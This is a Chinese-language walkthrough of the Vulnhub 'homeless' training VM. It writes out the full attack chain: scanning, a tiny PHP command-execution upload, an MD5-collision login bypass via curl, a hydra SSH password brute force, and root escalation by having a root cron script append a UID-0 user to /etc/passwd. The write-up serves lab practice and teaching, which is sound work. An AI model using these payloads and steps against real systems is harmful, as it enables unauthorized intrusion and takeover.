Vulnhub homeless靶機滲透

資訊搜集

nmap -sP 192.168.146.6
nmap -A -Pn 192.168.146.151

直接訪問web服務。

大概瀏覽一下沒發現什麼,直接掃描下目錄把dirb+bp。

BP具體操作:抓包-Target選項卡-右鍵該地址-Spider/discovery

看一眼robots.txt有一些提示

可能之後要爆破啥的,再看一看源碼,發現有一段User-agent,可能是將我們的User-agent回顯了,抓包看看

可以發現,User-agent確實回顯了,但是改成其他的也是回顯,沒找到利用的方式。
然後按照CTF的套路猜測一下,可能需要一個特定的User-gent才能回顯特定的內容。

再查看一下源碼,看到一副很奇怪的圖片,特別模糊,但是能大概看清上面的一行字,用來當User-agent

Cyberdog Sledding Portal 使用這行,發現回顯了特定的東西。

給了一個url路徑myuploader_priv,直接訪問一下//192.168.146.151/myuploader_priv/

getFlag

文件上傳

隨便上傳一個普通的一句話,說文件太大了。。。

fuzz一下,發現最大上傳文件大小為8位元組。
使用最短的執行命令的方法 <?=`ls`;,將此寫進short.php
訪問//192.168.146.151/files/short.php

訪問887beed152a3e8f946857bade267bb19d159ef59.txt

再訪問一下這個目錄//192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/,找到後台

點擊右上角needhint,得到index.php.bak查看index.php源碼,主要看php程式碼

<?php
session_start();
error_reporting(0);


    if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
    {

        $username = (string)$_POST['username'];
        $password = (string)$_POST['password'];
        $code     = (string)$_POST['code'];

        if (($username == $password ) or ($username == $code)  or ($password == $code)) {
            
            echo 'Your input can not be the same.';

        } else if ((md5($username) === md5($password) ) and (md5($password) === md5($code)) ) {
            $_SESSION["secret"] = '133720';
            header('Location: admin.php');  
            exit();

        } else {

            echo "<pre> Invalid password </pre>";
        }
    }
?>

邏輯就是username、password、code兩兩不相等,但是三者的md5相等。

md5碰撞

顯然數組、0e頭繞過是不可能的,看來只能用現有的工具進行md5碰撞,生成md5相同的東西了來繞過了。
github搜索一下,有現成的輪子//github.com/thereal1024/python-md5-collision
看一下說明

可以看到使用gen_coll_test.py就行了

生成了很多out_test_xxx.txt,這些文件的md5的值肯定都是相同的,驗證一下。(牛逼.jpg

curl命令傳輸文件

那麼選三個文件,直接用curl命令傳輸過去就可以了,先查一查curl傳輸的用法。
參考//ec.haxx.se/http/http-post
使用的參數:–data-urlencode HTTP POST data url encoded
curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt //192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/

emmm… 好像少了response看看該用什麼參數。參數:-i, --include Include protocol response headers in the output
curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt //192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/ -i

好了,現在有cookie了,改一下就可以訪問//192.168.146.151/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php就進後台了。

命令執行

後台是一個命令執行的功能。

直接反彈shell,順便提升為互動式shell

直接到/home目錄下看到downfall用戶,該用戶目錄下有很多文件。

todo.txt應該是提示,內容如下:

hey i am homeless guy. Now i living near python.

Try Harder!

Thanks. 

看來要從某個python文件入手,那就來搜索一下。
find / -type f -user downfall 2>/dev/null #除了用戶目錄多了個郵件但是沒許可權
find / -type f -group downfall 2>/dev/null #查找屬於downfall組的文件
發現一個py文件,進去看看。

emmm.. 然後就沒什麼思路了。
但是… 剛開始的提示rockyou好像還沒有用上。。 難道是用來爆破downfall用戶密碼的?那就試試。
hydra -l downfall -P /usr/share/wordlists/rockyou.txt -t 5 ssh://192.168.146.151

過了一會就爆破出來了。。
密碼:secretlyinlove
直接ssh連上去,得到真正的shell。
看一眼剛剛無許可權打開的.secret_message,然後準備再去看py文件,然後就看到收到了郵件,肯定是有點什麼了。

/var/mail下看看郵件

然後還可以看到這裡是不能import 模組的

很明顯了,這個homeless.py是一個以root許可權運行的定時任務啊,那後續思路清晰了。
這裡沒有sudo命令,那直接用homeless寫/etc/passwd文件即可。
先生成linux密碼perl -e 'print crypt("A1oe",q($6$hoiLHdTI)) ."\n"'
$6$hoiLHdTI$OTp4A6JE3k0MJ0cNXOpKkZ/rSxGrTmTy3O12d5kD8BTZJa3P.SpeCW1WePO.lzPvbzPOzpMaY4Vt7rwSQ2BAm.

改python文件內容為

#! /usr/bin/python
f = open("/etc/passwd",'a')
f.write('A1oe:$6$hoiLHdTI$OTp4A6JE3k0MJ0cNXOpKkZ/rSxGrTmTy3O12d5kD8BTZJa3P.SpeCW1WePO.lzPvbzPOzpMaY4Vt7rwSQ2BAm.:0:0::/root:/bin/bash')
f.close()

(記得要加上第一行,不然無法解析然後瘋狂報錯)

等一分鐘後看到用戶A1oe已經寫進去了

直接su A1oe password:A1oe登陸即可。

總結

剛開始的腦洞是真的大。。。(不知道是不是有別的思路,有的話請指教
收穫了一個md5碰撞的好的輪子,以後ctf可以配合curl命令直接用了(curl真香
提權就沒啥好說的了,比較常見,也就是修改root許可權運行的定時文件進行提權操作。